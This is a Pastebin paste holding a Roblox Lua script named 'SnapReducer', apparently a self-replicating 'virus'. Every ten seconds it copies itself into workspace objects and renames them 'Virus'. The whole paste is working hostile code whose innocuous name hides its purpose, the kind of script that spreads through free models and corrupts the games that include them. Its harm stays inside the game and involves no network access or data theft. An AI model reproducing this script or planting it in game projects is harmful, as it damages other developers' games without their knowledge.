Advertisement
Guest User

vs

a guest
Feb 21st, 2020
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. model = Instance.new("Part")
  2.  
  3. script.Parent = model
  4. script.Name = "SnapReducer"
  5. function Infector()
  6. while true do -- Infinite loop
  7. found = game.Workspace:FindFirstChild("Humanoid")
  8. found2 = game.Workspace:FindFirstChild("Model")
  9. found3 = game.Workspace:FindFirstChild("Brick")
  10. if found ~= nil then
  11. found.Name="Virus"
  12. infectedscr = model.SnapReducer:Clone()
  13. infectedscr.Parent = found
  14. else
  15. if found2 ~= nil then
  16. found2.Name = "Virus"
  17. infectedscr2 = model.SnapReducer:Clone()
  18. infectedscr2.Parent = found2
  19. else
  20. if found3 ~= nil then
  21. found3.Name = "Virus"
  22. infectedscr3 = model.SnapReducer:Clone()
  23. infectedscr3.Parent = found3
  24. else
  25. local children = game.Workspace:GetChildren()
  26. for c = 1, #children do
  27.  
  28. if children[c].Name ~= "Virus"
  29. then
  30. children[c].Name = "Virus"
  31. infectedscr421 = model.SnapReducer:Clone()
  32. infectedscr421.Parent = children[c]
  33. else
  34. end
  35.  
  36. end
  37. end
  38. end
  39.  
  40. end
  41. wait(10)
  42. end
  43. end
  44.  
  45. Infector()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement